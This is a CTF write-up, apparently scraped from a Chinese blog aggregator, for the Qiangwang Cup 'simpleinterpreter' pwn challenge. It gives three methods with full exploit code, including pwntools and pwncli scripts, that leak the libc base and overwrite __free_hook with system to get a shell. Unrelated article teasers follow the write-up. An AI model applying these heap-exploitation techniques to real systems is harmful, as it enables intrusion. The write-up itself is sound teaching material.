news 2026/4/27 10:17:40

第七届强网杯-PWN-【simpleinterpreter】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【simpleinterpreter】

对于一个刚入门的三个月的菜鸡pwn手打算按照难度慢慢复现qwb的题目

先simpleinterpreter吧

simpleinterpreter libc 2.27

逆向

解释器相关用到的陌生函数

法1

方法1参考链接
程序实现了一个 C 语言解释器,可用的关键字如下:

charelseenumifintreturnsizeofwhileread close printf malloc free memset memcmp exitvoidmain
read close printf malloc free memset memcmp exit 和原生C 函数效果一样 可以尝试一下&*操作是否存在,存在利用那么更方便

漏洞就是越界,首先用malloc一个超大堆块分配到 mmap 内存,然后越界写 libc,将 free_hook 覆盖为 system 地址,然后释放”/bin/sh”即可 getshell(libc 版本是 2.27)

本地好像不行,得到的地址由mmap的第几次得到没有确定下来,导致与基地址偏移无法确定,但是第几次mmap的范围有限,所以如果不断尝试可能成功

该法对应的输入代码如下

main(){intsize;char*freehook;char*system;char*v;char*binsh;size=204800;binsh="/bin/sh";v=malloc(size);freehook=v-0xb2728;system=v-0x450bf0;*(int*)freehook=system;free(binsh);}

法二

方法二参考链接

该方法没有使用到*和&,单纯利用提供得关键字解决

  1. 分配一个大于fastbin的chunk和两个fastbin的chunk

  2. free第一个chunk,此时进入unsortedbin泄露libc地址

  3. free第二个和第三个chunk,然后修改第三个chunk的fd为free_hook-8的位置

  4. malloc两次

  5. 修改第二次的chunk的值为/bin/sh\x00和system地址,此时free_hook的内容被修改为system地址

  6. free第二次的chunk即可getshell

frompwnimport*sh=process('./simpleinterpreter')context.log_level="debug"code=''' int main() { void* p1; void* p2; void* p3; void* p4; void* p5; p1 = malloc(0x500); p2 = malloc(0x18); p3 = malloc(0x18); free(p1); printf(p1); free(p3); free(p2); read(0, p2, 8); p4 = malloc(0x18); p5 = malloc(0x18); read(0, p5, 0x10); free(p5); return 0; }'''sh.sendlineafter("Code size:",str(len(code)))sh.sendafter("Please give me the code to interpret:",code)libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0log.success("libc_base:\t"+hex(libc_base))free_hook=libc_base+0x3ed8e8system=libc_base+0x4f420sh.send(p64(free_hook-8))sh.send("/bin/sh\x00"+p64(system))sh.interactive()

法3

参考链接

与法1的区别在于泄露libc基地址方式不同而已
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell

from pwncli import*cli_script()set_remote_libc('libc-2.27.so')io:tube=gift.io elf:ELF=gift.elf libc:ELF=gift.libc#one_gadgets:list=get_current_one_gadget_from_libc(more=False)#CurrentGadgets.set_find_area(find_in_elf=True,find_in_libc=False,do_initial=False)payload='''intc;intmain(){intb;intlibc;int*free_hook;char*sh;libc=0;free_hook=libc+1;free_hook=malloc(0x500);sh=malloc(0x10);free(free_hook);libc=*free_hook-0x3ebca0;printf("%lx",libc);free_hook=libc+0x3ed8e8;*free_hook=libc+0x4F420;sh[0]='s';sh[1]='h';free(sh);return0;}'''sla('size:',str(len(payload)))sla('et:',payload)ia()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/25 12:25:05

中文多音字发音难题终结者:GLM-TTS音素模式深度解析

中文多音字发音难题终结者:GLM-TTS音素模式深度解析 在智能语音日益渗透日常生活的今天,我们早已习惯了手机助手的温柔提醒、车载导航的清晰播报,甚至虚拟主播流畅地朗读新闻。然而,在这些看似自然的语音背后,中文TTS&…

作者头像 李华
网站建设 2026/4/23 9:51:25

Silodosin Glucuronide D4:氘标记代谢物研究关键标准品

Silodosin Glucuronide D4 是一种经过稳定同位素标记的葡糖醛酸代谢物,专为药物代谢与药代动力学研究设计。作为西洛多辛的主要代谢产物之一,其氘代形式在质谱分析中扮演着关键内标角色,为定量分析提供卓越的准确性与重现性,是支撑…

作者头像 李华
网站建设 2026/4/25 6:08:36

研究生必备AI论文降重指南:8款工具实测,AI率从81%降至9%!

如果你是正在熬夜赶Deadline的研究生——导师催稿消息弹满微信、知网查重一次花掉半个月奶茶钱、AI生成的初稿被系统标红80%、社科问卷设计改了十版还没通过伦理审查……那这篇文章就是为你写的。 作为刚经历过“论文渡劫”的研三学长,我太懂这种焦虑:明…

作者头像 李华
网站建设 2026/4/18 15:13:10

返利app性能监控体系:从应用指标到业务指标的全方位监控

返利app性能监控体系:从应用指标到业务指标的全方位监控 大家好,我是省赚客APP研发者阿宝! 在省赚客这类高并发返利平台中,仅监控CPU、内存等基础设施指标远远不够。用户是否成功领取返利?订单同步是否延迟&#xff1f…

作者头像 李华
网站建设 2026/4/23 9:44:16

GLM-TTS能否用于婚礼录像后期?补录缺失旁白语音

GLM-TTS能否用于婚礼录像后期?补录缺失旁白语音 在一场婚礼视频剪辑过程中,最令人遗憾的莫过于画面清晰、情感真挚,却因录音设备故障或环境干扰导致关键环节——比如主持人开场、新人誓言、父母致辞——音频丢失。传统解决方案通常是请人“模…

作者头像 李华
网站建设 2026/4/23 14:56:31

target_include_directories的作用

target_include_directories(${PROJECT_NAME} PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})为指定的目标(${PROJECT_NAME})添加一个包含目录 (${CMAKE_CURRENT_SOURCE_DIR}),并且作用范围是仅限于该目标的编译过程。PRIVATE表示该包含目录仅在 ${PR…

作者头像 李华